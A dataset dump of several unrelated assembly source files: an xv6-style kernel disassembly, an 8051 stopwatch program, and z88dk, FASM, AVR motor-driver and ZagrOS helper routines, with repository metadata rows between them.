8b 00 mov (%eax),%eax 80108624: 25 00 f0 ff ff and $0xfffff000,%eax 80108629: 83 ec 0c sub $0xc,%esp 8010862c: 50 push %eax 8010862d: e8 cf f2 ff ff call 80107901 <p2v> 80108632: 83 c4 10 add $0x10,%esp } 80108635: c9 leave 80108636: c3 ret 80108637 <copyout>: // Copy len bytes from p to user address va in page table pgdir. // Most useful when pgdir is not the current page table. // uva2ka ensures this only works for PTE_U pages. int copyout(pde_t *pgdir, uint va, void *p, uint len) { 80108637: 55 push %ebp 80108638: 89 e5 mov %esp,%ebp 8010863a: 83 ec 18 sub $0x18,%esp char *buf, *pa0; uint n, va0; buf = (char*)p; 8010863d: 8b 45 10 mov 0x10(%ebp),%eax 80108640: 89 45 f4 mov %eax,-0xc(%ebp) while(len > 0){ 80108643: eb 7f jmp 801086c4 <copyout+0x8d> va0 = (uint)PGROUNDDOWN(va); 80108645: 8b 45 0c mov 0xc(%ebp),%eax 80108648: 25 00 f0 ff ff and $0xfffff000,%eax 8010864d: 89 45 ec mov %eax,-0x14(%ebp) pa0 = uva2ka(pgdir, (char*)va0); 80108650: 8b 45 ec mov -0x14(%ebp),%eax 80108653: 83 ec 08 sub $0x8,%esp 80108656: 50 push %eax 80108657: ff 75 08 pushl 0x8(%ebp) 8010865a: e8 7e ff ff ff call 801085dd <uva2ka> 8010865f: 83 c4 10 add $0x10,%esp 80108662: 89 45 e8 mov %eax,-0x18(%ebp) if(pa0 == 0) 80108665: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 80108669: 75 07 jne 80108672 <copyout+0x3b> return -1; 8010866b: b8 ff ff ff ff mov $0xffffffff,%eax 80108670: eb 61 jmp 801086d3 <copyout+0x9c> n = PGSIZE - (va - va0); 80108672: 8b 45 ec mov -0x14(%ebp),%eax 80108675: 2b 45 0c sub 0xc(%ebp),%eax 80108678: 05 00 10 00 00 add $0x1000,%eax 8010867d: 89 45 f0 mov %eax,-0x10(%ebp) if(n > len) 80108680: 8b 45 f0 mov -0x10(%ebp),%eax 80108683: 3b 45 14 cmp 0x14(%ebp),%eax 80108686: 76 06 jbe 8010868e <copyout+0x57> n = len; 80108688: 8b 45 14 mov 0x14(%ebp),%eax 8010868b: 89 45 f0 mov %eax,-0x10(%ebp) memmove(pa0 + (va - va0), buf, n); 8010868e: 8b 45 0c mov 0xc(%ebp),%eax 80108691: 2b 45 ec sub -0x14(%ebp),%eax 80108694: 89 c2 mov %eax,%edx 80108696: 8b 45 e8 mov -0x18(%ebp),%eax 80108699: 01 d0 add %edx,%eax 8010869b: 83 ec 04 sub $0x4,%esp 8010869e: ff 75 f0 pushl -0x10(%ebp) 801086a1: ff 75 f4 pushl -0xc(%ebp) 801086a4: 50 push %eax 801086a5: e8 ae cd ff ff call 80105458 <memmove> 801086aa: 83 c4 10 add $0x10,%esp len -= n; 801086ad: 8b 45 f0 mov -0x10(%ebp),%eax 801086b0: 29 45 14 sub %eax,0x14(%ebp) buf += n; 801086b3: 8b 45 f0 mov -0x10(%ebp),%eax 801086b6: 01 45 f4 add %eax,-0xc(%ebp) va = va0 + PGSIZE; 801086b9: 8b 45 ec mov -0x14(%ebp),%eax 801086bc: 05 00 10 00 00 add $0x1000,%eax 801086c1: 89 45 0c mov %eax,0xc(%ebp) { char *buf, *pa0; uint n, va0; buf = (char*)p; while(len > 0){ 801086c4: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 801086c8: 0f 85 77 ff ff ff jne 80108645 <copyout+0xe> memmove(pa0 + (va - va0), buf, n); len -= n; buf += n; va = va0 + PGSIZE; } return 0; 801086ce: b8 00 00 00 00 mov $0x0,%eax } 801086d3: c9 leave 801086d4: c3 ret 801086d5 <sgenrand>: static int mti=N+1; /* mti==N+1 means mt[N] is not initialized */ /* initializing the array with a NONZERO seed */ void sgenrand(unsigned long seed) { 801086d5: 55 push %ebp 801086d6: 89 e5 mov %esp,%ebp /* setting initial seeds to mt[N] using */ /* the generator Line 25 of Table 1 in */ /* [KNUTH 1981, The Art of Computer Programming */ /* Vol. 2 (2nd Ed.), pp102] */ mt[0]= seed & 0xffffffff; 801086d8: 8b 45 08 mov 0x8(%ebp),%eax 801086db: a3 80 c6 10 80 mov %eax,0x8010c680 for (mti=1; mti<N; mti++) 801086e0: c7 05 e0 c4 10 80 01 movl $0x1,0x8010c4e0 801086e7: 00 00 00 801086ea: eb 2f jmp 8010871b <sgenrand+0x46> mt[mti] = (69069 * mt[mti-1]) & 0xffffffff; 801086ec: a1 e0 c4 10 80 mov 0x8010c4e0,%eax 801086f1: 8b 15 e0 c4 10 80 mov 0x8010c4e0,%edx 801086f7: 83 ea 01 sub $0x1,%edx 801086fa: 8b 14 95 80 c6 10 80 mov -0x7fef3980(,%edx,4),%edx 80108701: 69 d2 cd 0d 01 00 imul $0x10dcd,%edx,%edx 80108707: 89 14 85 80 c6 10 80 mov %edx,-0x7fef3980(,%eax,4) /* setting initial seeds to mt[N] using */ /* the generator Line 25 of Table 1 in */ /* [KNUTH 1981, The Art of Computer Programming */ /* Vol. 2 (2nd Ed.), pp102] */ mt[0]= seed & 0xffffffff; for (mti=1; mti<N; mti++) 8010870e: a1 e0 c4 10 80 mov 0x8010c4e0,%eax 80108713: 83 c0 01 add $0x1,%eax 80108716: a3 e0 c4 10 80 mov %eax,0x8010c4e0 8010871b: a1 e0 c4 10 80 mov 0x8010c4e0,%eax 80108720: 3d 6f 02 00 00 cmp $0x26f,%eax 80108725: 7e c5 jle 801086ec <sgenrand+0x17> mt[mti] = (69069 * mt[mti-1]) & 0xffffffff; } 80108727: 90 nop 80108728: 5d pop %ebp 80108729: c3 ret 8010872a <genrand>: long /* for integer generation */ genrand() { 8010872a: 55 push %ebp 8010872b: 89 e5 mov %esp,%ebp 8010872d: 83 ec 10 sub $0x10,%esp unsigned long y; static unsigned long mag01[2]={0x0, MATRIX_A}; /* mag01[x] = x * MATRIX_A for x=0,1 */ if (mti >= N) { /* generate N words at one time */ 80108730: a1 e0 c4 10 80 mov 0x8010c4e0,%eax 80108735: 3d 6f 02 00 00 cmp $0x26f,%eax 8010873a: 0f 8e 31 01 00 00 jle 80108871 <genrand+0x147> int kk; if (mti == N+1) /* if sgenrand() has not been called, */ 80108740: a1 e0 c4 10 80 mov 0x8010c4e0,%eax 80108745: 3d 71 02 00 00 cmp $0x271,%eax 8010874a: 75 0d jne 80108759 <genrand+0x2f> sgenrand(4357); /* a default initial seed is used */ 8010874c: 68 05 11 00 00 push $0x1105 80108751: e8 7f ff ff ff call 801086d5 <sgenrand> 80108756: 83 c4 04 add $0x4,%esp for (kk=0;kk<N-M;kk++) { 80108759: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 80108760: eb 5b jmp 801087bd <genrand+0x93> y = (mt[kk]&UPPER_MASK)|(mt[kk+1]&LOWER_MASK); 80108762: 8b 45 fc mov -0x4(%ebp),%eax 80108765: 8b 04 85 80 c6 10 80 mov -0x7fef3980(,%eax,4),%eax 8010876c: 25 00 00 00 80 and $0x80000000,%eax 80108771: 89 c2 mov %eax,%edx 80108773: 8b 45 fc mov -0x4(%ebp),%eax 80108776: 83 c0 01 add $0x1,%eax 80108779: 8b 04 85 80 c6 10 80 mov -0x7fef3980(,%eax,4),%eax 80108780: 25 ff ff ff 7f and $0x7fffffff,%eax 80108785: 09 d0 or %edx,%eax 80108787: 89 45 f8 mov %eax,-0x8(%ebp) mt[kk] = mt[kk+M] ^ (y >> 1) ^ mag01[y & 0x1]; 8010878a: 8b 45 fc mov -0x4(%ebp),%eax 8010878d: 05 8d 01 00 00 add $0x18d,%eax 80108792: 8b 04 85 80 c6 10 80 mov -0x7fef3980(,%eax,4),%eax 80108799: 8b 55 f8 mov -0x8(%ebp),%edx 8010879c: d1 ea shr %edx 8010879e: 31 c2 xor %eax,%edx 801087a0: 8b 45 f8 mov -0x8(%ebp),%eax 801087a3: 83 e0 01 and $0x1,%eax 801087a6: 8b 04 85 e4 c4 10 80 mov -0x7fef3b1c(,%eax,4),%eax 801087ad: 31 c2 xor %eax,%edx 801087af: 8b 45 fc mov -0x4(%ebp),%eax 801087b2: 89 14 85 80 c6 10 80 mov %edx,-0x7fef3980(,%eax,4) int kk; if (mti == N+1) /* if sgenrand() has not been called, */ sgenrand(4357); /* a default initial seed is used */ for (kk=0;kk<N-M;kk++) { 801087b9: 83 45 fc 01 addl $0x1,-0x4(%ebp) 801087bd: 81 7d fc e2 00 00 00 cmpl $0xe2,-0x4(%ebp) 801087c4: 7e 9c jle 80108762 <genrand+0x38> y = (mt[kk]&UPPER_MASK)|(mt[kk+1]&LOWER_MASK); mt[kk] = mt[kk+M] ^ (y >> 1) ^ mag01[y & 0x1]; } for (;kk<N-1;kk++) { 801087c6: eb 5b jmp 80108823 <genrand+0xf9> y = (mt[kk]&UPPER_MASK)|(mt[kk+1]&LOWER_MASK); 801087c8: 8b 45 fc mov -0x4(%ebp),%eax 801087cb: 8b 04 85 80 c6 10 80 mov -0x7fef3980(,%eax,4),%eax 801087d2: 25 00 00 00 80 and $0x80000000,%eax 801087d7: 89 c2 mov %eax,%edx 801087d9: 8b 45 fc mov -0x4(%ebp),%eax 801087dc: 83 c0 01 add $0x1,%eax 801087df: 8b 04 85 80 c6 10 80 mov -0x7fef3980(,%eax,4),%eax 801087e6: 25 ff ff ff 7f and $0x7fffffff,%eax 801087eb: 09 d0 or %edx,%eax 801087ed: 89 45 f8 mov %eax,-0x8(%ebp) mt[kk] = mt[kk+(M-N)] ^ (y >> 1) ^ mag01[y & 0x1]; 801087f0: 8b 45 fc mov -0x4(%ebp),%eax 801087f3: 2d e3 00 00 00 sub $0xe3,%eax 801087f8: 8b 04 85 80 c6 10 80 mov -0x7fef3980(,%eax,4),%eax 801087ff: 8b 55 f8 mov -0x8(%ebp),%edx 80108802: d1 ea shr %edx 80108804: 31 c2 xor %eax,%edx 80108806: 8b 45 f8 mov -0x8(%ebp),%eax 80108809: 83 e0 01 and $0x1,%eax 8010880c: 8b 04 85 e4 c4 10 80 mov -0x7fef3b1c(,%eax,4),%eax 80108813: 31 c2 xor %eax,%edx 80108815: 8b 45 fc mov -0x4(%ebp),%eax 80108818: 89 14 85 80 c6 10 80 mov %edx,-0x7fef3980(,%eax,4) for (kk=0;kk<N-M;kk++) { y = (mt[kk]&UPPER_MASK)|(mt[kk+1]&LOWER_MASK); mt[kk] = mt[kk+M] ^ (y >> 1) ^ mag01[y & 0x1]; } for (;kk<N-1;kk++) { 8010881f: 83 45 fc 01 addl $0x1,-0x4(%ebp) 80108823: 81 7d fc 6e 02 00 00 cmpl $0x26e,-0x4(%ebp) 8010882a: 7e 9c jle 801087c8 <genrand+0x9e> y = (mt[kk]&UPPER_MASK)|(mt[kk+1]&LOWER_MASK); mt[kk] = mt[kk+(M-N)] ^ (y >> 1) ^ mag01[y & 0x1]; } y = (mt[N-1]&UPPER_MASK)|(mt[0]&LOWER_MASK); 8010882c: a1 3c d0 10 80 mov 0x8010d03c,%eax 80108831: 25 00 00 00 80 and $0x80000000,%eax 80108836: 89 c2 mov %eax,%edx 80108838: a1 80 c6 10 80 mov 0x8010c680,%eax 8010883d: 25 ff ff ff 7f and $0x7fffffff,%eax 80108842: 09 d0 or %edx,%eax 80108844: 89 45 f8 mov %eax,-0x8(%ebp) mt[N-1] = mt[M-1] ^ (y >> 1) ^ mag01[y & 0x1]; 80108847: a1 b0 cc 10 80 mov 0x8010ccb0,%eax 8010884c: 8b 55 f8 mov -0x8(%ebp),%edx 8010884f: d1 ea shr %edx 80108851: 31 c2 xor %eax,%edx 80108853: 8b 45 f8 mov -0x8(%ebp),%eax 80108856: 83 e0 01 and $0x1,%eax 80108859: 8b 04 85 e4 c4 10 80 mov -0x7fef3b1c(,%eax,4),%eax 80108860: 31 d0 xor %edx,%eax 80108862: a3 3c d0 10 80 mov %eax,0x8010d03c mti = 0; 80108867: c7 05 e0 c4 10 80 00 movl $0x0,0x8010c4e0 8010886e: 00 00 00 } y = mt[mti++]; 80108871: a1 e0 c4 10 80 mov 0x8010c4e0,%eax 80108876: 8d 50 01 lea 0x1(%eax),%edx 80108879: 89 15 e0 c4 10 80 mov %edx,0x8010c4e0 8010887f: 8b 04 85 80 c6 10 80 mov -0x7fef3980(,%eax,4),%eax 80108886: 89 45 f8 mov %eax,-0x8(%ebp) y ^= TEMPERING_SHIFT_U(y); 80108889: 8b 45 f8 mov -0x8(%ebp),%eax 8010888c: c1 e8 0b shr $0xb,%eax 8010888f: 31 45 f8 xor %eax,-0x8(%ebp) y ^= TEMPERING_SHIFT_S(y) & TEMPERING_MASK_B; 80108892: 8b 45 f8 mov -0x8(%ebp),%eax 80108895: c1 e0 07 shl $0x7,%eax 80108898: 25 80 56 2c 9d and $0x9d2c5680,%eax 8010889d: 31 45 f8 xor %eax,-0x8(%ebp) y ^= TEMPERING_SHIFT_T(y) & TEMPERING_MASK_C; 801088a0: 8b 45 f8 mov -0x8(%ebp),%eax 801088a3: c1 e0 0f shl $0xf,%eax 801088a6: 25 00 00 c6 ef and $0xefc60000,%eax 801088ab: 31 45 f8 xor %eax,-0x8(%ebp) y ^= TEMPERING_SHIFT_L(y); 801088ae: 8b 45 f8 mov -0x8(%ebp),%eax 801088b1: c1 e8 12 shr $0x12,%eax 801088b4: 31 45 f8 xor %eax,-0x8(%ebp) // Strip off uppermost bit because we want a long, // not an unsigned long return y & RAND_MAX; 801088b7: 8b 45 f8 mov -0x8(%ebp),%eax 801088ba: 25 ff ff ff 7f and $0x7fffffff,%eax } 801088bf: c9 leave 801088c0: c3 ret 801088c1 <random_at_most>: // Assumes 0 <= max <= RAND_MAX // Returns in the half-open interval [0, max] long random_at_most(long max) { 801088c1: 55 push %ebp 801088c2: 89 e5 mov %esp,%ebp 801088c4: 83 ec 20 sub $0x20,%esp unsigned long // max <= RAND_MAX < ULONG_MAX, so this is okay. num_bins = (unsigned long) max + 1, 801088c7: 8b 45 08 mov 0x8(%ebp),%eax 801088ca: 83 c0 01 add $0x1,%eax 801088cd: 89 45 fc mov %eax,-0x4(%ebp) num_rand = (unsigned long) RAND_MAX + 1, 801088d0: c7 45 f8 00 00 00 80 movl $0x80000000,-0x8(%ebp) bin_size = num_rand / num_bins, 801088d7: 8b 45 f8 mov -0x8(%ebp),%eax 801088da: ba 00 00 00 00 mov $0x0,%edx 801088df: f7 75 fc divl -0x4(%ebp) 801088e2: 89 45 f4 mov %eax,-0xc(%ebp) defect = num_rand % num_bins; 801088e5: 8b 45 f8 mov -0x8(%ebp),%eax 801088e8: ba 00 00 00 00 mov $0x0,%edx 801088ed: f7 75 fc divl -0x4(%ebp) 801088f0: 89 55 f0 mov %edx,-0x10(%ebp) long x; do { x = genrand(); 801088f3: e8 32 fe ff ff call 8010872a <genrand> 801088f8: 89 45 ec mov %eax,-0x14(%ebp) } // This is carefully written not to overflow while (num_rand - defect <= (unsigned long)x); 801088fb: 8b 45 f8 mov -0x8(%ebp),%eax 801088fe: 2b 45 f0 sub -0x10(%ebp),%eax 80108901: 89 c2 mov %eax,%edx 80108903: 8b 45 ec mov -0x14(%ebp),%eax 80108906: 39 c2 cmp %eax,%edx 80108908: 76 e9 jbe 801088f3 <random_at_most+0x32> // Truncated division is intentional return x/bin_size; 8010890a: 8b 45 ec mov -0x14(%ebp),%eax 8010890d: ba 00 00 00 00 mov $0x0,%edx 80108912: f7 75 f4 divl -0xc(%ebp) } 80108915: c9 leave 80108916: c3 ret
38.032138
105
0.528022
4103b3e76fe8b3242c4ad5d5e0d630ba26fc545a
4,136
asm
Assembly
asm/c2asm2.asm
Mooophy/159233
e63391879e11df596504911e4884f5f78724f04d
[ "MIT" ]
2
2015-07-25T21:45:15.000Z
2018-05-08T03:52:52.000Z
asm/c2asm2.asm
Mooophy/159233
e63391879e11df596504911e4884f5f78724f04d
[ "MIT" ]
null
null
null
asm/c2asm2.asm
Mooophy/159233
e63391879e11df596504911e4884f5f78724f04d
[ "MIT" ]
null
null
null
$mod2051 ;--------------------------------------------- ; store times in binary in registers ; mm equ R2 ss equ R3 hh equ R4 cseg ;--------------------------------------------- ; put your main function here! ; eg: ; org 0h ; acall init_lcd ; mov a,#'A' ; acall put_lcd ; ; or ; acall polling_loop jmp $ ;--------------------------------------------- ; zero_clock(); ; zero_clock: clr a mov mm,a mov ss,a mov hh,a ret ;--------------------------------------------- ; inc_clock(); ; inc_clock: inc hh ;add one to the hundreds cjne hh,#100,inc_clock_end mov hh,#0 inc ss ;add one to the seconds cjne ss,#60,inc_clock_end mov ss,#0 inc mm cjne mm,#60,inc_clock_end mov mm,#0 inc_clock_end: ret ;--------------------------------------------- ; display_clock(); ; display_clock: mov a,mm acall put_digits mov a,#':' acall putch mov a,ss acall put_digits mov a,#'.' acall putch mov a,hh acall put_digits ret ; put_digits: mov b,#10 div ab add a,#'0' acall putch mov a,b add a,#'0' acall putch ret ;--------------------------------------------- ; puts(s); ; r0 points to zero terminated string ; a and r0 are altered by this routine ; puts: mov a,@r0 jz puts_end acall putch inc r0 sjmp puts puts_end: mov a,#0dh acall putch mov a,#0ah acall putch ret ;--------------------------------------------- ; gets(s); ; r0 points to memory to place string ; nul will be added to string ; CR will terminate string LF are ignored ; a and r0 are altered by this routine ; gets: acall getch cjne a,#0ah,gets_1 sjmp gets gets_1: cjne a,#0dh,gets_2 sjmp gets_end gets_2: mov @r0,a inc r0 sjmp gets gets_end: mov @r0,#0 ret ;--------------------------------------------- ; init_rs232(); ; init_rs232: anl tmod,#0fh ;zero timer 1 orl tmod,#20h ;set mode 2 mov th1,#0fdh ;reload value mov tl1,#0fdh ;initial value mov scon,#50h ;serial mode setb tr1 ;start timer1 ret ;--------------------------------------------- ; init_lcd(); ; init_lcd: clr a mov dptr,#init_table clr P3.4 ;control not data init_lcd_1: push acc movc a,@a+dptr setb P3.5 call delay mov P1,a call delay clr P3.5 call delay pop acc inc a cjne a,#8,init_lcd_1 setb P3.4 ;data not control ret init_table: db 30h,30h,30h,38h,08h,01h,06h,0ch ;--------------------------------------------- ; clear_lcd(); clear_lcd: clr P3.4 ;swap to control mov a,#01h call put_lcd setb P3.4 ;swap back to data ret ;--------------------------------------------- ; putch(); ; putch: acall put_rs232 ; acall put_lcd ret ;--------------------------------------------- ; put_rs232(); ; put_rs232: mov sbuf,a jnb ti,$ ;wait for it to go clr ti ret ;--------------------------------------------- ; put_lcd(); ; put_lcd: setb P3.5 call delay mov P1,a call delay clr P3.5 call delay ret ;--------------------------------------------- ; getch(); ; getch: acall get_rs232 ret ;--------------------------------------------- ; get_rs232(); ; get_rs232: jnb ri,$ clr ri mov a,sbuf ret ;--------------------------------------------- ; delay(); /*~100 cycles*/ ; delay: mov r0,#50 djnz r0,$ ret ;--------------------------------------------- ; start_timer(); /*1/100 second*/ ; use timer 0 TICS equ 0ffffh-9216 start_timer: clr tr0 ;stop the timer anl tmod,#0f0h ;zero timer orl tmod,#01h ;set mode 1 clr tf0 ;clear flag mov th0,#(TICS/256) mov tl0,#(TICS mod 256) setb tr0 ;start the timer ret ;--------------------------------------------- ; piece of code to increment our clock every ; 1/100 sec and check whether a character ; has arrived at the rs232 interface, - ; in which case display current clock ; uses polling! polling_loop: acall init_rs232 acall start_timer check_rs232: jnb ri,check_timer acall getch acall display_clock mov a,#0dh ;carriage return acall putch check_timer: jnb tf0,check_rs232 acall start_timer acall inc_clock sjmp check_rs232 ; end
17.982609
47
0.51499
25e007f9ccdd308c2ac9612748d8024c1e357f3d
962
asm
Assembly
libsrc/_DEVELOPMENT/target/zx/driver/terminal/zx_01_output_fzx_tty_z88dk/zx_01_output_fzx_tty_z88dk_09_tab.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/target/zx/driver/terminal/zx_01_output_fzx_tty_z88dk/zx_01_output_fzx_tty_z88dk_09_tab.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/target/zx/driver/terminal/zx_01_output_fzx_tty_z88dk/zx_01_output_fzx_tty_z88dk_09_tab.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_driver SECTION code_driver_terminal_output PUBLIC zx_01_output_fzx_tty_z88dk_09_tab EXTERN l_offset_ix_de, console_01_output_fzx_proc_linefeed EXTERN console_01_output_fzx_proc_putchar_scroll zx_01_output_fzx_tty_z88dk_09_tab: ; tab to next multiple of eight column ; should we be printing spaces to the next tab ?? ld a,(ix+36) or a jr nz, linefeed ld a,(ix+35) ; a = x coord and $c0 add a,$40 jr c, linefeed ld (ix+35),a ; store new x coord cp (ix+41) ret c ; if x < width ld a,(ix+42) or a ret nz linefeed: ; move to next line ld hl,30 call l_offset_ix_de push hl ex (sp),ix ; ix = struct fzx_state * call console_01_output_fzx_proc_linefeed pop ix ret c ; if scroll unnecessary jp console_01_output_fzx_proc_putchar_scroll
18.5
58
0.612266
1c1c76c8d0b49195731a287062d9930653f6ec32
327
asm
Assembly
linux64/lesson05.asm
mashingan/notes-asmtutor
88532e0b364a63cd1e7578a537807795d429fc2f
[ "MIT" ]
1
2021-11-05T06:41:49.000Z
2021-11-05T06:41:49.000Z
linux64/lesson05.asm
mashingan/notes-asmtutor
88532e0b364a63cd1e7578a537807795d429fc2f
[ "MIT" ]
null
null
null
linux64/lesson05.asm
mashingan/notes-asmtutor
88532e0b364a63cd1e7578a537807795d429fc2f
[ "MIT" ]
null
null
null
format ELF64 executable 3 entry start segment readable writeable msg db 'Hello the brave to the isekai!', 0Ah, 0 msgf db 'Adapt to the new environment with FASM.', 0Ah, 0 segment readable executable start: mov rax, msg call sprint mov rax, msgf call sprint call quitProgram include 'procs.inc'
15.571429
61
0.703364
9aca2fdfa9504189aaf00b93cc4c677cb8dcd69e
2,559
asm
Assembly
src/kernel/drivers/motors/motor_cseg.asm
rostislav-nikitin/socOS
75e3bbaa16086df5dd1a476ee86052b3073ce075
[ "MIT" ]
1
2020-07-29T12:30:42.000Z
2020-07-29T12:30:42.000Z
src/kernel/drivers/motors/motor_cseg.asm
rostislav-nikitin/socOS
75e3bbaa16086df5dd1a476ee86052b3073ce075
[ "MIT" ]
null
null
null
src/kernel/drivers/motors/motor_cseg.asm
rostislav-nikitin/socOS
75e3bbaa16086df5dd1a476ee86052b3073ce075
[ "MIT" ]
null
null
null
;======================================================================================================================= ; ; ; Name: socOS (System On Chip Operation System) ; ; Year: 2020 ; ; License: MIT License ; ; ; ;======================================================================================================================= ; Require: ;.include "m8def.inc" ;.include "kernel/drivers/soc/timer2_int.asm" ;.include "kernel/drivers/soc/timer2_dseg.asm" ;.include "kernel/kernel_def.asm" ;.include "kernel/drivers/device_def.asm" ;.include "kernel/drivers/soc/timer_base_def.asm" ;.include "kernel/drivers/soc/timer_w_pwm_base_def.asm" ;.include "kernel/drivers/soc/timer2_def.asm" ;.include "kernel/kernel_cseg.asm" ;.include "kernel/drivers/device_cseg.asm" ;.include "kernel/drivers/soc/timer_base_cseg.asm" ;.include "kernel/drivers/soc/timer_w_pwm_base_cseg.asm" ;.include "kernel/drivers/soc/timer2_cseg.asm" ;.include "../soc/timer2_cseg.asm" ; PWM at PINB[3] .macro m_motor_init m_save_r23_Z_registers ; parameters: ; @0 byte TIMER_W_PWM_DIVIDER ; @1 byte power [0x00:0xff] m_timer2_init @0, POINTER_NULL, TIMER_W_PWM_MODE_FAST, @1, POINTER_NULL rcall motor_init .endm motor_init: ret .macro m_motor_start rcall motor_start .endm motor_start: rcall timer2_counter_control_register_set_mode ret .macro m_motor_stop rcall motor_stop .endm motor_stop: rcall timer2_counter_control_register_set_mode_off ret .macro m_motor_power_set ; parameters ; @0 byte power [0x00:0xff] m_save_r23_registers ldi r23, @0 rcall motor_power_set m_restore_r23_registers .endm motor_power_set: ; parameters ; r23 byte power [0x00:0xff] ; set mode off (required to change compare control register) rcall timer2_counter_control_register_set_mode_off ; set compare thershole (to the st_timer2) rcall timer2_compare_threshold_set ; set compare control register from the st_timer2::compare_threshold rcall timer2_compare_control_register_set_compare_threshold ; restore mode rcall timer2_counter_control_register_set_mode ret
31.207317
120
0.563501
4999e6ddb8bcda27997781408db819bd2882575e
326
asm
Assembly
Modules/Module2/6_LoadOperations/loadupperimmediate.asm
hackettccp/CSCI213
c2b5c3e1b5f47fa329a59b0a7261ebeee8e64059
[ "MIT" ]
null
null
null
Modules/Module2/6_LoadOperations/loadupperimmediate.asm
hackettccp/CSCI213
c2b5c3e1b5f47fa329a59b0a7261ebeee8e64059
[ "MIT" ]
null
null
null
Modules/Module2/6_LoadOperations/loadupperimmediate.asm
hackettccp/CSCI213
c2b5c3e1b5f47fa329a59b0a7261ebeee8e64059
[ "MIT" ]
null
null
null
#Storing 75000 to $t0 #75000 = 0000 0000 0000 0001 0010 0100 1111 1000 = 0x000124f8 lui $t0, 0x0001 #$t0 = 0000 0000 0000 0001 0000 0000 0000 0000 ori $t0, 0x24f8 #$t0 = 0000 0000 0000 0001 0010 0100 1111 1000 #Note: The instruction #li $t0, 75000 #is valid, but will be converted into the two instructions shown above
25.076923
70
0.726994
7a63016ea38807a7cb33c65271ee258e4fd20676
288
asm
Assembly
libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/__divslong_callee.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/__divslong_callee.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/__divslong_callee.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_fp_am9511 PUBLIC __divslong_callee EXTERN cam32_sdcc_ldivs_callee ; divide two 32-bit numbers into a 32-bit quotient ; ; enter : stack = dividend (32-bit), divisor (32-bit), ret ; ; exit : dehl = quotient defc __divslong_callee = cam32_sdcc_ldivs_callee
19.2
61
0.729167
1477dd5554ba5863ae9e1165b6be8f711bf7b1a1
273
asm
Assembly
c6ers/appcomp/fmemset.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
c6ers/appcomp/fmemset.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
c6ers/appcomp/fmemset.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
; fmemset.asm: _fmemset() for C 5.1 .model small, c .code lcb_fmemset proc far uses es si di, lpDst:far ptr, val:word, cnt:word les di, lpDst mov ax, val mov cx, cnt rep stosb mov dx, es ;returns lpDst mov ax, word ptr lpDst ret lcb_fmemset endp end
12.409091
71
0.67033
9a49d2e71642005f349cfd9f11a9d05085a8253a
2,365
asm
Assembly
lib/cpu.asm
ssbostan/zagros
7ac9959b07d4e5459cdfc9bd34b9ef062c4b9050
[ "MIT" ]
21
2020-03-28T09:40:49.000Z
2022-01-28T17:26:01.000Z
lib/cpu.asm
ssbostan/zagros
7ac9959b07d4e5459cdfc9bd34b9ef062c4b9050
[ "MIT" ]
null
null
null
lib/cpu.asm
ssbostan/zagros
7ac9959b07d4e5459cdfc9bd34b9ef062c4b9050
[ "MIT" ]
1
2019-12-21T14:36:27.000Z
2019-12-21T14:36:27.000Z
; ======================== ZagrOS ======================= ; Zagros Open Source Operating System ; Saeid Bostandoust (ssbostan@linuxmail.org) ; Bostandoust.IR ; ======================== ZagrOS ======================= ; ==================== zero_cpu_regs ==================== zero_cpu_regs: mov ax, 0 mov bx, 0 mov cx, 0 mov dx, 0 mov si, 0 mov di, 0 ret ; ==================== zero_cpu_regs ==================== ; ==================== dump_cpu_regs ==================== dump_cpu_regs: push ax push bx push cx push dx push si push di cpu_dump_cpu_regs_ax: mov si, offset _AX add si, 03h call hex2str cpu_dump_cpu_regs_bx: mov ax, bx mov si, offset _BX add si, 03h call hex2str cpu_dump_cpu_regs_cx: mov ax, cx mov si, offset _CX add si, 03h call hex2str cpu_dump_cpu_regs_dx: mov ax, dx mov si, offset _DX add si, 03h call hex2str cpu_dump_cpu_regs_sp: mov ax, sp mov si, offset _SP add si, 03h call hex2str cpu_dump_cpu_regs_bp: mov ax, bp mov si, offset _BP add si, 03h call hex2str cpu_dump_cpu_regs_si: pop di pop si mov ax, si push si push di mov si, offset _SI add si, 03h call hex2str cpu_dump_cpu_regs_di: mov ax, di mov si, offset _DI add si, 03h call hex2str cpu_dump_cpu_regs_ds: mov ax, ds mov si, offset _DS add si, 03h call hex2str cpu_dump_cpu_regs_es: mov ax, es mov si, offset _ES add si, 03h call hex2str cpu_dump_cpu_regs_ss: mov ax, ss mov si, offset _SS add si, 03h call hex2str cpu_dump_cpu_regs_cs: mov ax, cs mov si, offset _CS add si, 03h call hex2str pop di pop si pop dx pop cx pop bx pop ax ret _AX db "AX=", 05h dup(00h) _BX db "BX=", 05h dup(00h) _CX db "CX=", 05h dup(00h) _DX db "DX=", 05h dup(00h) _SP db "SP=", 05h dup(00h) _BP db "BP=", 05h dup(00h) _SI 